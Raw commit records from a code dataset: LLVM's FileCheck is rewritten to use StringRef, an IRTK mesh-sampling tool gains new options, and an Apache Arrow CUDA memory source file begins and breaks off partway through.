file.\n std::vector<CheckString> CheckStrings;\n if (ReadCheckFile(SM, CheckStrings))\n return 2;\n\n \/\/ Remove duplicate spaces in the check strings if requested.\n if (!NoCanonicalizeWhiteSpace)\n CanonicalizeCheckStrings(CheckStrings);\n\n \/\/ Open the file to check and add it to SourceMgr.\n std::string ErrorStr;\n MemoryBuffer *F =\n MemoryBuffer::getFileOrSTDIN(InputFilename.c_str(), &ErrorStr);\n if (F == 0) {\n errs() << \"Could not open input file '\" << InputFilename << \"': \" \n << ErrorStr << '\\n';\n return true;\n }\n \n \/\/ Remove duplicate spaces in the input file if requested.\n if (!NoCanonicalizeWhiteSpace)\n F = CanonicalizeInputFile(F);\n \n SM.AddNewSourceBuffer(F, SMLoc());\n \n \/\/ Check that we have all of the expected strings, in order, in the input\n \/\/ file.\n const char *CurPtr = F->getBufferStart(), *BufferEnd = F->getBufferEnd();\n \n const char *LastMatch = 0;\n for (unsigned StrNo = 0, e = CheckStrings.size(); StrNo != e; ++StrNo) {\n const CheckString &CheckStr = CheckStrings[StrNo];\n \n \/\/ Find StrNo in the file.\n const char *Ptr = FindFixedStringInBuffer(CheckStr.Str, CurPtr, *F);\n \n \/\/ If we didn't find a match, reject the input.\n if (Ptr == BufferEnd) {\n PrintCheckFailed(SM, CheckStr, CurPtr, BufferEnd);\n return 1;\n }\n \n \/\/ If this check is a \"CHECK-NEXT\", verify that the previous match was on\n \/\/ the previous line (i.e. that there is one newline between them).\n if (CheckStr.IsCheckNext) {\n \/\/ Count the number of newlines between the previous match and this one.\n assert(LastMatch && \"CHECK-NEXT can't be the first check in a file\");\n\n unsigned NumNewLines = CountNumNewlinesBetween(LastMatch, Ptr);\n if (NumNewLines == 0) {\n SM.PrintMessage(CheckStr.Loc,\n CheckPrefix+\"-NEXT: is on the same line as previous match\",\n \"error\");\n SM.PrintMessage(SMLoc::getFromPointer(Ptr),\n \"'next' match was here\", \"note\");\n SM.PrintMessage(SMLoc::getFromPointer(LastMatch),\n \"previous match was here\", \"note\");\n return 1;\n }\n \n if (NumNewLines != 1) {\n SM.PrintMessage(CheckStr.Loc,\n CheckPrefix+\n \"-NEXT: is not on the line after the previous match\",\n \"error\");\n SM.PrintMessage(SMLoc::getFromPointer(Ptr),\n \"'next' match was here\", \"note\");\n SM.PrintMessage(SMLoc::getFromPointer(LastMatch),\n \"previous match was here\", \"note\");\n return 1;\n }\n }\n\n \/\/ Otherwise, everything is good. Remember this as the last match and move\n \/\/ on to the next one.\n LastMatch = Ptr;\n CurPtr = Ptr + CheckStr.Str.size();\n }\n \n return 0;\n}\n<commit_msg>rewrite FileCheck in terms of StringRef instead of manual pointer pairs.<commit_after>\/\/===- FileCheck.cpp - Check that File's Contents match what is expected --===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ FileCheck does a line-by line check of a file that validates whether it\n\/\/ contains the expected content. This is useful for regression tests etc.\n\/\/\n\/\/ This program exits with an error status of 2 on error, exit status of 0 if\n\/\/ the file matched the expected contents, and exit status of 1 if it did not\n\/\/ contain the expected contents.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/Support\/MemoryBuffer.h\"\n#include \"llvm\/Support\/PrettyStackTrace.h\"\n#include \"llvm\/Support\/SourceMgr.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/System\/Signals.h\"\nusing namespace llvm;\n\nstatic cl::opt<std::string>\nCheckFilename(cl::Positional, cl::desc(\"<check-file>\"), cl::Required);\n\nstatic cl::opt<std::string>\nInputFilename(\"input-file\", cl::desc(\"File to check (defaults to stdin)\"),\n cl::init(\"-\"), cl::value_desc(\"filename\"));\n\nstatic cl::opt<std::string>\nCheckPrefix(\"check-prefix\", cl::init(\"CHECK\"),\n cl::desc(\"Prefix to use from check file (defaults to 'CHECK')\"));\n\nstatic cl::opt<bool>\nNoCanonicalizeWhiteSpace(\"strict-whitespace\",\n cl::desc(\"Do not treat all horizontal whitespace as equivalent\"));\n\n\/\/\/ CheckString - This is a check that we found in the input file.\nstruct CheckString {\n \/\/\/ Str - The string to match.\n std::string Str;\n \n \/\/\/ Loc - The location in the match file that the check string was specified.\n SMLoc Loc;\n \n \/\/\/ IsCheckNext - This is true if this is a CHECK-NEXT: directive (as opposed\n \/\/\/ to a CHECK: directive.\n bool IsCheckNext;\n \n CheckString(const std::string &S, SMLoc L, bool isCheckNext)\n : Str(S), Loc(L), IsCheckNext(isCheckNext) {}\n};\n\n\n\/\/\/ ReadCheckFile - Read the check file, which specifies the sequence of\n\/\/\/ expected strings. The strings are added to the CheckStrings vector.\nstatic bool ReadCheckFile(SourceMgr &SM,\n std::vector<CheckString> &CheckStrings) {\n \/\/ Open the check file, and tell SourceMgr about it.\n std::string ErrorStr;\n MemoryBuffer *F =\n MemoryBuffer::getFileOrSTDIN(CheckFilename.c_str(), &ErrorStr);\n if (F == 0) {\n errs() << \"Could not open check file '\" << CheckFilename << \"': \" \n << ErrorStr << '\\n';\n return true;\n }\n SM.AddNewSourceBuffer(F, SMLoc());\n\n \/\/ Find all instances of CheckPrefix followed by : in the file.\n StringRef Buffer = F->getBuffer();\n\n while (1) {\n \/\/ See if Prefix occurs in the memory buffer.\n Buffer = Buffer.substr(Buffer.find(CheckPrefix));\n \n \/\/ If we didn't find a match, we're done.\n if (Buffer.empty())\n break;\n \n const char *CheckPrefixStart = Buffer.data();\n \n \/\/ When we find a check prefix, keep track of whether we find CHECK: or\n \/\/ CHECK-NEXT:\n bool IsCheckNext;\n \n \/\/ Verify that the : is present after the prefix.\n if (Buffer[CheckPrefix.size()] == ':') {\n Buffer = Buffer.substr(CheckPrefix.size()+1);\n IsCheckNext = false;\n } else if (Buffer.size() > CheckPrefix.size()+6 &&\n memcmp(Buffer.data()+CheckPrefix.size(), \"-NEXT:\", 6) == 0) {\n Buffer = Buffer.substr(CheckPrefix.size()+7);\n IsCheckNext = true;\n } else {\n Buffer = Buffer.substr(1);\n continue;\n }\n \n \/\/ Okay, we found the prefix, yay. Remember the rest of the line, but\n \/\/ ignore leading and trailing whitespace.\n while (!Buffer.empty() && (Buffer[0] == ' ' || Buffer[0] == '\\t'))\n Buffer = Buffer.substr(1);\n \n \/\/ Scan ahead to the end of line.\n size_t EOL = Buffer.find_first_of(\"\\n\\r\");\n if (EOL == StringRef::npos) EOL = Buffer.size();\n \n \/\/ Ignore trailing whitespace.\n while (EOL && (Buffer[EOL-1] == ' ' || Buffer[EOL-1] == '\\t'))\n --EOL;\n \n \/\/ Check that there is something on the line.\n if (EOL == 0) {\n SM.PrintMessage(SMLoc::getFromPointer(Buffer.data()),\n \"found empty check string with prefix '\"+CheckPrefix+\":'\",\n \"error\");\n return true;\n }\n \n \/\/ Verify that CHECK-NEXT lines have at least one CHECK line before them.\n if (IsCheckNext && CheckStrings.empty()) {\n SM.PrintMessage(SMLoc::getFromPointer(CheckPrefixStart),\n \"found '\"+CheckPrefix+\"-NEXT:' without previous '\"+\n CheckPrefix+ \": line\", \"error\");\n return true;\n }\n \n \/\/ Okay, add the string we captured to the output vector and move on.\n CheckStrings.push_back(CheckString(std::string(Buffer.data(),\n Buffer.data()+EOL),\n SMLoc::getFromPointer(Buffer.data()),\n IsCheckNext));\n \n Buffer = Buffer.substr(EOL);\n }\n \n if (CheckStrings.empty()) {\n errs() << \"error: no check strings found with prefix '\" << CheckPrefix\n << \":'\\n\";\n return true;\n }\n \n return false;\n}\n\n\/\/ CanonicalizeCheckStrings - Replace all sequences of horizontal whitespace in\n\/\/ the check strings with a single space.\nstatic void CanonicalizeCheckStrings(std::vector<CheckString> &CheckStrings) {\n for (unsigned i = 0, e = CheckStrings.size(); i != e; ++i) {\n std::string &Str = CheckStrings[i].Str;\n \n for (unsigned C = 0; C != Str.size(); ++C) {\n \/\/ If C is not a horizontal whitespace, skip it.\n if (Str[C] != ' ' && Str[C] != '\\t')\n continue;\n \n \/\/ Replace the character with space, then remove any other space\n \/\/ characters after it.\n Str[C] = ' ';\n \n while (C+1 != Str.size() &&\n (Str[C+1] == ' ' || Str[C+1] == '\\t'))\n Str.erase(Str.begin()+C+1);\n }\n }\n}\n\n\/\/\/ CanonicalizeInputFile - Remove duplicate horizontal space from the specified\n\/\/\/ memory buffer, free it, and return a new one.\nstatic MemoryBuffer *CanonicalizeInputFile(MemoryBuffer *MB) {\n SmallVector<char, 16> NewFile;\n NewFile.reserve(MB->getBufferSize());\n \n for (const char *Ptr = MB->getBufferStart(), *End = MB->getBufferEnd();\n Ptr != End; ++Ptr) {\n \/\/ If C is not a horizontal whitespace, skip it.\n if (*Ptr != ' ' && *Ptr != '\\t') {\n NewFile.push_back(*Ptr);\n continue;\n }\n \n \/\/ Otherwise, add one space and advance over neighboring space.\n NewFile.push_back(' ');\n while (Ptr+1 != End &&\n (Ptr[1] == ' ' || Ptr[1] == '\\t'))\n ++Ptr;\n }\n \n \/\/ Free the old buffer and return a new one.\n MemoryBuffer *MB2 =\n MemoryBuffer::getMemBufferCopy(NewFile.data(), \n NewFile.data() + NewFile.size(),\n MB->getBufferIdentifier());\n\n delete MB;\n return MB2;\n}\n\n\nstatic void PrintCheckFailed(const SourceMgr &SM, const CheckString &CheckStr,\n StringRef Buffer) {\n \/\/ Otherwise, we have an error, emit an error message.\n SM.PrintMessage(CheckStr.Loc, \"expected string not found in input\",\n \"error\");\n \n \/\/ Print the \"scanning from here\" line. If the current position is at the\n \/\/ end of a line, advance to the start of the next line.\n Buffer = Buffer.substr(Buffer.find_first_not_of(\" \\t\\n\\r\"));\n \n SM.PrintMessage(SMLoc::getFromPointer(Buffer.data()), \"scanning from here\",\n \"note\");\n}\n\nstatic unsigned CountNumNewlinesBetween(const char *Start, const char *End) {\n unsigned NumNewLines = 0;\n for (; Start != End; ++Start) {\n \/\/ Scan for newline.\n if (Start[0] != '\\n' && Start[0] != '\\r')\n continue;\n \n ++NumNewLines;\n \n \/\/ Handle \\n\\r and \\r\\n as a single newline.\n if (Start+1 != End &&\n (Start[0] == '\\n' || Start[0] == '\\r') &&\n (Start[0] != Start[1]))\n ++Start;\n }\n \n return NumNewLines;\n}\n\nint main(int argc, char **argv) {\n sys::PrintStackTraceOnErrorSignal();\n PrettyStackTraceProgram X(argc, argv);\n cl::ParseCommandLineOptions(argc, argv);\n\n SourceMgr SM;\n \n \/\/ Read the expected strings from the check file.\n std::vector<CheckString> CheckStrings;\n if (ReadCheckFile(SM, CheckStrings))\n return 2;\n\n \/\/ Remove duplicate spaces in the check strings if requested.\n if (!NoCanonicalizeWhiteSpace)\n CanonicalizeCheckStrings(CheckStrings);\n\n \/\/ Open the file to check and add it to SourceMgr.\n std::string ErrorStr;\n MemoryBuffer *F =\n MemoryBuffer::getFileOrSTDIN(InputFilename.c_str(), &ErrorStr);\n if (F == 0) {\n errs() << \"Could not open input file '\" << InputFilename << \"': \" \n << ErrorStr << '\\n';\n return true;\n }\n \n \/\/ Remove duplicate spaces in the input file if requested.\n if (!NoCanonicalizeWhiteSpace)\n F = CanonicalizeInputFile(F);\n \n SM.AddNewSourceBuffer(F, SMLoc());\n \n \/\/ Check that we have all of the expected strings, in order, in the input\n \/\/ file.\n StringRef Buffer = F->getBuffer();\n \n const char *LastMatch = 0;\n for (unsigned StrNo = 0, e = CheckStrings.size(); StrNo != e; ++StrNo) {\n const CheckString &CheckStr = CheckStrings[StrNo];\n \n StringRef SearchFrom = Buffer;\n \n \/\/ Find StrNo in the file.\n Buffer = Buffer.substr(Buffer.find(CheckStr.Str));\n \n \/\/ If we didn't find a match, reject the input.\n if (Buffer.empty()) {\n PrintCheckFailed(SM, CheckStr, SearchFrom);\n return 1;\n }\n \n \/\/ If this check is a \"CHECK-NEXT\", verify that the previous match was on\n \/\/ the previous line (i.e. that there is one newline between them).\n if (CheckStr.IsCheckNext) {\n \/\/ Count the number of newlines between the previous match and this one.\n assert(LastMatch && \"CHECK-NEXT can't be the first check in a file\");\n\n unsigned NumNewLines = CountNumNewlinesBetween(LastMatch, Buffer.data());\n if (NumNewLines == 0) {\n SM.PrintMessage(CheckStr.Loc,\n CheckPrefix+\"-NEXT: is on the same line as previous match\",\n \"error\");\n SM.PrintMessage(SMLoc::getFromPointer(Buffer.data()),\n \"'next' match was here\", \"note\");\n SM.PrintMessage(SMLoc::getFromPointer(LastMatch),\n \"previous match was here\", \"note\");\n return 1;\n }\n \n if (NumNewLines != 1) {\n SM.PrintMessage(CheckStr.Loc,\n CheckPrefix+\n \"-NEXT: is not on the line after the previous match\",\n \"error\");\n SM.PrintMessage(SMLoc::getFromPointer(Buffer.data()),\n \"'next' match was here\", \"note\");\n SM.PrintMessage(SMLoc::getFromPointer(LastMatch),\n \"previous match was here\", \"note\");\n return 1;\n }\n }\n\n \/\/ Otherwise, everything is good. Remember this as the last match and move\n \/\/ on to the next one.\n LastMatch = Buffer.data();\n Buffer = Buffer.substr(CheckStr.Str.size());\n }\n \n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Library : Image Registration Toolkit (IRTK)\n Module : $Id$\n Copyright : Imperial College, Department of Computing\n Visual Information Processing (VIP), 2009 onwards\n Date : $Date$\n Version : $Revision$\n Changes : $Author$\n\n=========================================================================*\/\n\n#include <irtkImage.h>\n#include <irtkImageFunction.h>\n\n#ifdef HAS_VTK\n\n#include <vtkPointData.h>\n#include <vtkPolyData.h>\n#include <vtkPolyDataReader.h>\n#include <vtkPolyDataWriter.h>\n#include <vtkDoubleArray.h>\n\nchar *input_name = NULL, *output_name = NULL, *image_name = NULL;\n\nint main(int argc, char **argv)\n{\n int i, j, n;\n double *profile;\n double x, y, z, ds, point[3], normal[3];\n\n if (argc != 4) {\n cerr << \"Usage: msample [input] [image] [output] -n [number of steps (default 10)] -ds [step size (default 1)]\" << endl;\n exit(1);\n }\n\n \/\/ Parse filenames\n input_name = argv[1];\n argv++;\n argc--;\n image_name = argv[1];\n argv++;\n argc--;\n output_name = argv[1];\n argv++;\n argc--;\n\n n = 10;\n ds = 1;\n \n \/\/ Allocate memory for intensity profile\n profile = new double[2*n+1];\n\n \/\/ Read model\n vtkPolyDataReader *reader = vtkPolyDataReader::New();\n reader->SetFileName(input_name);\n reader->Modified();\n reader->Update();\n vtkPolyData *model = vtkPolyData::New();\n model = reader->GetOutput();\n model->Update();\n\n \/\/ Extract normals\n if (model->GetPointData()->GetNormals() == NULL) {\n cerr << \"Model has no normals\" << endl;\n exit(1);\n }\n\n \/\/ Read image\n irtkGreyImage image;\n image.Read(image_name);\n irtkLinearInterpolateImageFunction interpolator;\n interpolator.SetInput(&image);\n interpolator.Initialize();\n \n \/\/ Allocate memory\n vtkDoubleArray *array = vtkDoubleArray::New();\n array->SetNumberOfTuples(model->GetNumberOfPoints());\n array->SetNumberOfComponents(2*n+1);\n array->SetName(\"IntensityProfile\");\n \n for (i = 0; i < model->GetNumberOfPoints(); i++) {\n model->GetPoints()->GetPoint (i, point);\n model->GetPointData()->GetNormals()->GetTuple(i, normal);\n image.WorldToImage(point[0], point[1], point[2]);\n for (j = 0; j < 2*n+1; j++) {\n x = point[0] + (j - n) * ds * normal[0];\n y = point[1] + (j - n) * ds * normal[1];\n z = point[2] + (j - n) * ds * normal[2];\n profile[j] = interpolator.Evaluate(x, y, z);\n }\n array->InsertTupleValue(i, profile);\n }\n model->GetPointData()->SetScalars(array);\n \n vtkPolyDataWriter *writer = vtkPolyDataWriter::New();\n writer->SetInput(model);\n writer->SetFileName(output_name);\n writer->Write();\n}\n\n#else\n\n#include <irtkImage.h>\n\nint main( int argc, char *argv[] )\n{\n cerr << argv[0] << \" this program needs to be compiled with vtk enabled.\" << endl;\n return 0;\n}\n\n#endif\n<commit_msg>fixed a bug. world to image wrong place...all mess up previously<commit_after>\/*=========================================================================\n\n Library : Image Registration Toolkit (IRTK)\n Module : $Id$\n Copyright : Imperial College, Department of Computing\n Visual Information Processing (VIP), 2009 onwards\n Date : $Date$\n Version : $Revision$\n Changes : $Author$\n\n=========================================================================*\/\n\n#include <irtkImage.h>\n#include <irtkImageFunction.h>\n#include <irtkUtil.h>\n\n#ifdef HAS_VTK\n\n#include <vtkPointData.h>\n#include <vtkPolyData.h>\n#include <vtkPolyDataReader.h>\n#include <vtkPolyDataWriter.h>\n#include <vtkDoubleArray.h>\n#include <vtkPointLocator.h>\n#include <vtkIdList.h>\n\nchar *input_name = NULL, *output_name = NULL, *image_name = NULL, *count_name = NULL;\n\nvoid usage(){\n\tcerr << \"Usage: msample [input] [image] [output] \" << endl;\n\tcerr << \"-n [number of steps (default 10)]\" << endl;\n\tcerr << \"-ds [step size (default 1)]\" << endl;\n\tcerr << \"-scalar use one scalar instead of array on the norm\"<<endl;\n\tcerr << \"-abs take the abs value of the scalar\"<<endl;\n\tcerr << \"-count [another mesh] sample along between two mesh, evaluate percentage > 0\"<<endl;\n\tcerr << \"-blur blur the result or not\"<<endl;\n\texit(1);\n}\n\nint main(int argc, char **argv)\n{\n int i, j, n, son, abson, blur, ok;\n double *profile, count;\n double x, y, z, ds, point[3], normal[3];\n\n if (argc < 4) {\n usage();\n }\n\n \/\/ Parse filenames\n input_name = argv[1];\n argv++;\n argc--;\n image_name = argv[1];\n argv++;\n argc--;\n output_name = argv[1];\n argv++;\n argc--;\n\n n = 10;\n ds = 1;\n son = 0;\n abson = 0;\n count = 0;\n blur = 0;\n\n while (argc > 1) {\n ok = false;\n\tif ((ok == false) && (strcmp(argv[1], \"-n\") == 0)) {\n argc--;\n argv++;\n n = atoi(argv[1]);\n\t argc--;\n argv++;\n ok = true;\n }\n\tif ((ok == false) && (strcmp(argv[1], \"-count\") == 0)) {\n argc--;\n argv++;\n\t count_name = argv[1];\n\t argc--;\n argv++;\n ok = true;\n }\n\tif ((ok == false) && (strcmp(argv[1], \"-ds\") == 0)) {\n argc--;\n argv++;\n ds = atof(argv[1]);\n\t argc--;\n argv++;\n ok = true;\n }\n\tif ((ok == false) && (strcmp(argv[1], \"-scalar\") == 0)) {\n argc--;\n argv++;\n son = 1;\n ok = true;\n }\n\tif ((ok == false) && (strcmp(argv[1], \"-abs\") == 0)) {\n argc--;\n argv++;\n abson = 1;\n ok = true;\n }\n\tif ((ok == false) && (strcmp(argv[1], \"-blur\") == 0)) {\n argc--;\n argv++;\n blur = 1;\n ok = true;\n }\n if (ok == false) {\n cerr << \"Can't parse argument \" << argv[1] << endl;\n usage();\n }\n }\n \n \/\/ Allocate memory for intensity profile\n if(son)\n profile = new double[1];\n else\n profile = new double[2*n+1];\n\n \/\/ Read model\n vtkPolyDataReader *reader = vtkPolyDataReader::New();\n reader->SetFileName(input_name);\n reader->Modified();\n reader->Update();\n vtkPolyData *model = vtkPolyData::New();\n model = reader->GetOutput();\n model->Update();\n\n \/\/ Extract normals\n if (model->GetPointData()->GetNormals() == NULL) {\n cerr << \"Model has no normals\" << endl;\n exit(1);\n }\n\n \/\/ Read image\n irtkGreyImage image;\n image.Read(image_name);\n irtkLinearInterpolateImageFunction interpolator;\n interpolator.SetInput(&image);\n interpolator.Initialize();\n \n \/\/ Allocate memory\n if(!son){\n\t if(count_name){\n\t\t vtkPolyDataReader *reader_count = vtkPolyDataReader::New();\n\t\t reader_count->SetFileName(count_name);\n\t\t reader_count->Modified();\n\t\t reader_count->Update();\n\t\t vtkPolyData *model_count = vtkPolyData::New();\n\t\t model_count = reader_count->GetOutput();\n\t\t model_count->Update();\n\t\t vtkDoubleArray *array = vtkDoubleArray::New();\n\t\t array->SetNumberOfTuples(model->GetNumberOfPoints());\n\t\t array->SetNumberOfComponents(1);\n\t\t array->SetName(\"IntensityCountProfile\");\n\t\t vtkDoubleArray *narray = vtkDoubleArray::New();\n\t\t narray->SetNumberOfTuples(model->GetNumberOfPoints());\n\t\t narray->SetNumberOfComponents(1);\n\t\t narray->SetName(\"IntensityCountProfile\");\n\t\t int count2;\n\n\t\t \/\/ Build a locator \n\t\t vtkPointLocator *pointLocator = vtkPointLocator::New();\n\t\t pointLocator->SetDataSet(reader_count->GetOutput());\n\t\t pointLocator->BuildLocator();\n\n\t\t for (i = 0; i < model->GetNumberOfPoints(); i++) {\n\t\t\t double distance,point2[3];\n\t\t\t model->GetPoints()->GetPoint (i, point);\n\t\t\t vtkIdType ptId;\n\t\t\t ptId = pointLocator->FindClosestPoint(point);\n\t\t\t model_count->GetPoints()->GetPoint(ptId,point2);\n\t\t\t normal[0] = point2[0] - point[0];\n\t\t\t normal[1] = point2[1] - point[1];\n\t\t\t normal[2] = point2[2] - point[2];\n\t\t\t distance = sqrt(pow(normal[0],2)+pow(normal[1],2)+pow(normal[2],2));\n\t\t\t if(distance > 0){\n\t\t\t\t for(j = 0; j < 3; j++){\n\t\t\t\t\t normal[j] = normal[j] \/ distance;\n\t\t\t\t }\n\t\t\t\t ds = distance \/ n;\n\t\t\t\t count = 0; count2 = 0;\n\t\t\t\t for (j = 0; j < n; j++) {\n\t\t\t\t\t x = point[0] + (j + 1) * ds * normal[0];\n\t\t\t\t\t y = point[1] + (j + 1) * ds * normal[1];\n\t\t\t\t\t z = point[2] + (j + 1) * ds * normal[2];\n\t\t\t\t\t image.WorldToImage(x,y,z);\n\t\t\t\t\t if(interpolator.Evaluate(x, y, z) >= 0){\n\t\t\t\t\t\t count += interpolator.Evaluate(x, y, z);\n\t\t\t\t\t\t count2 ++;\n\t\t\t\t\t }\n\t\t\t\t }\n\t\t\t }\n\t\t\t if(count2 > 0){\n\t\t\t\t count = count \/ count2;\n\t\t\t }\n\t\t\t array->InsertTupleValue(i, &count);\n\t\t }\n\t\t \/\/ blur\n\t\t if(blur == 1){\n\t\t\t for (i = 0; i < model->GetNumberOfPoints(); i++) {\n\t\t\t\t vtkIdList *list = vtkIdList::New();\n\t\t\t\t \/\/Find neighbor\n\t\t\t\t GetConnectedVertices(model,i,list);\n\t\t\t\t \/\/Get number of neighbor\n\t\t\t\t n = list->GetNumberOfIds();\n\t\t\t\t double value = 0, *tmp;\n\t\t\t\t for (j = 0; j < n; j++){\n\t\t\t\t\t tmp = array->GetTuple(list->GetId(j));\n\t\t\t\t\t value += *tmp;\n\t\t\t\t }\n\t\t\t\t \/\/stretch measure relative change of the vertices spacing\n\t\t\t\t count = value \/ n;\n\t\t\t\t narray->InsertTupleValue(i, &count);\n\t\t\t\t list->Delete();\n\t\t\t }\n\t\t }\n\t\t model->GetPointData()->SetScalars(array);\n\t\t array->Delete();\n\t\t narray->Delete();\n\t\t reader_count->Delete();\n\t }else{\n\t\t vtkDoubleArray *array = vtkDoubleArray::New();\n\t\t array->SetNumberOfTuples(model->GetNumberOfPoints());\n\t\t array->SetNumberOfComponents(2*n+1);\n\t\t array->SetName(\"IntensityProfile\");\n\n\t\t for (i = 0; i < model->GetNumberOfPoints(); i++) {\n\t\t\t model->GetPoints()->GetPoint (i, point);\n\t\t\t model->GetPointData()->GetNormals()->GetTuple(i, normal);\n\t\t\t for (j = 0; j < 2*n+1; j++) {\n\t\t\t\t x = point[0] + (j - n) * ds * normal[0];\n\t\t\t\t y = point[1] + (j - n) * ds * normal[1];\n\t\t\t\t z = point[2] + (j - n) * ds * normal[2];\n\t\t\t\t image.WorldToImage(x,y,z);\n\t\t\t\t if(abson)\n\t\t\t\t\t profile[j] = abs(interpolator.Evaluate(x, y, z));\n\t\t\t\t else\n\t\t\t\t\t profile[j] = interpolator.Evaluate(x, y, z);\n\t\t\t }\n\t\t\t array->InsertTupleValue(i, profile);\n\t\t }\n\t\t model->GetPointData()->SetScalars(array);\n\t\t array->Delete();\n\t }\n }else{\n\t vtkDoubleArray *array = vtkDoubleArray::New();\n\t array->SetNumberOfTuples(model->GetNumberOfPoints());\n\t array->SetNumberOfComponents(1);\n\t array->SetName(\"IntensityValue\");\n\n\t for (i = 0; i < model->GetNumberOfPoints(); i++) {\n\t\t model->GetPoints()->GetPoint (i, point);\n\t\t image.WorldToImage(point[0], point[1], point[2]);\n\t\t if(abson)\n\t\t\t*profile = abs(interpolator.Evaluate(point[0], point[1], point[2]));\n\t\t else\n\t\t\t*profile = interpolator.Evaluate(point[0], point[1], point[2]);\n\t\t array->InsertTupleValue(i, profile);\n\t }\n\t model->GetPointData()->SetScalars(array);\n\t array->Delete();\n }\n \n vtkPolyDataWriter *writer = vtkPolyDataWriter::New();\n writer->SetInput(model);\n writer->SetFileName(output_name);\n writer->Write();\n reader->Delete();\n\n delete []profile;\n}\n\n#else\n\n#include <irtkImage.h>\n\nint main( int argc, char *argv[] )\n{\n cerr << argv[0] << \" this program needs to be compiled with vtk enabled.\" << endl;\n return 0;\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/ Licensed to the Apache Software Foundation (ASF) under one\n\/\/ or more contributor license agreements. See the NOTICE file\n\/\/ distributed with this work for additional information\n\/\/ regarding copyright ownership. The ASF licenses this file\n\/\/ to you under the Apache License, Version 2.0 (the\n\/\/ \"License\"); you may not use this file except in compliance\n\/\/ with the License. You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing,\n\/\/ software distributed under the License is distributed on an\n\/\/ \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n\/\/ KIND, either express or implied. See the License for the\n\/\/ specific language governing permissions and limitations\n\/\/ under the License.\n\n#include \"arrow\/gpu\/cuda_memory.h\"\n\n#include <algorithm>\n#include <cstdint>\n#include <cstdlib>\n#include <memory>\n#include <mutex>\n\n#include <cuda.h>\n\n#include \"arrow\/buffer.h\"\n#include \"arrow\/io\/memory.h\"\n#include \"arrow\/status.h\"\n#include \"arrow\/util\/logging.h\"\n\n#include \"arrow\/gpu\/cuda_common.h\"\n#include \"arrow\/gpu\/cuda_context.h\"\n\nnamespace arrow {\nnamespace cuda {\n\n\/\/ ----------------------------------------------------------------------\n\/\/ CUDA IPC memory handle\n\nstruct CudaIpcMemHandle::CudaIpcMemHandleImpl {\n explicit CudaIpcMemHandleImpl(const uint8_t* handle) {\n memcpy(&memory_size, handle, sizeof(memory_size));\n if (memory_size != 0)\n memcpy(&ipc_handle, handle + sizeof(memory_size), sizeof(CUipcMemHandle));\n }\n\n explicit CudaIpcMemHandleImpl(int64_t memory_size, const void* cu_handle)\n : memory_size(memory_size) {\n if (memory_size != 0) memcpy(&ipc_handle, cu_handle, sizeof(CUipcMemHandle));\n }\n\n CUipcMemHandle ipc_handle; \/\/\/ initialized only when memory_size != 0\n int64_t memory_size; \/\/\/ size of the memory that ipc_handle refers to\n};\n\nCudaIpcMemHandle::CudaIpcMemHandle(const void* handle) {\n impl_.reset(new CudaIpcMemHandleImpl(reinterpret_cast<const uint8_t*>(handle)));\n}\n\nCudaIpcMemHandle::CudaIpcMemHandle(int64_t memory_size, const void* cu_handle) {\n impl_.reset(new CudaIpcMemHandleImpl(memory_size, cu_handle));\n}\n\nCudaIpcMemHandle::~CudaIpcMemHandle() {}\n\nStatus CudaIpcMemHandle::FromBuffer(const void* opaque_handle,\n std::shared_ptr<CudaIpcMemHandle>* handle) {\n *handle = std::shared_ptr<CudaIpcMemHandle>(new CudaIpcMemHandle(opaque_handle));\n return Status::OK();\n}\n\nStatus CudaIpcMemHandle::Serialize(MemoryPool* pool, std::shared_ptr<Buffer>* out) const {\n std::shared_ptr<Buffer> buffer;\n int64_t size = impl_->memory_size;\n size_t kHandleSize =\n (size > 0 ? sizeof(int64_t) + sizeof(CUipcMemHandle) : sizeof(int64_t));\n RETURN_NOT_OK(AllocateBuffer(pool, static_cast<int64_t>(kHandleSize), &buffer));\n memcpy(buffer->mutable_data(), &impl_->memory_size, sizeof(impl_->memory_size));\n if (size > 0)\n memcpy(buffer->mutable_data() + sizeof(impl_->memory_size), &impl_->ipc_handle,\n sizeof(impl_->ipc_handle));\n *out = buffer;\n return Status::OK();\n}\n\nconst void* CudaIpcMemHandle::handle() const { return &impl_->ipc_handle; }\n\nint64_t CudaIpcMemHandle::memory_size() const { return impl_->memory_size; }\n\n\/\/ ----------------------------------------------------------------------\n\nCudaBuffer::CudaBuffer(uint8_t* data, int64_t size,\n const std::shared_ptr<CudaContext>& context, bool own_data,\n bool is_ipc)\n : Buffer(data, size), context_(context), own_data_(own_data), is_ipc_(is_ipc) {\n is_mutable_ = true;\n mutable_data_ = data;\n}\n\nCudaBuffer::~CudaBuffer() { DCHECK(Close().ok()); }\n\nStatus CudaBuffer::Close() {\n if (own_data_) {\n if (is_ipc_) {\n return context_->CloseIpcBuffer(this);\n } else {\n return context_->Free(mutable_data_, size_);\n }\n }\n return Status::OK();\n}\n\nCudaBuffer::CudaBuffer(const std::shared_ptr<CudaBuffer>& parent, const int64_t offset,\n const int64_t size)\n : Buffer(parent, offset, size),\n context_(parent->context()),\n own_data_(false),\n is_ipc_(false) {\n if (parent->is_mutable()) {\n is_mutable_ = true;\n mutable_data_ = const_cast<uint8_t*>(data_);\n }\n}\n\nStatus CudaBuffer::FromBuffer(std::shared_ptr<Buffer> buffer,\n std::shared_ptr<CudaBuffer>* out) {\n int64_t offset = 0, size = buffer->size();\n bool is_mutable = buffer->is_mutable();\n \/\/ The original CudaBuffer may have been wrapped in another Buffer\n \/\/ (for example through slicing).\n while (!(*out = std::dynamic_pointer_cast<CudaBuffer>(buffer))) {\n const std::shared_ptr<Buffer> parent = buffer->parent();\n if (!parent) {\n return Status::TypeError(\"buffer is not backed by a CudaBuffer\");\n }\n offset += buffer->data() - parent->data();\n buffer = parent;\n }\n \/\/ Re-slice to represent the same memory area\n if 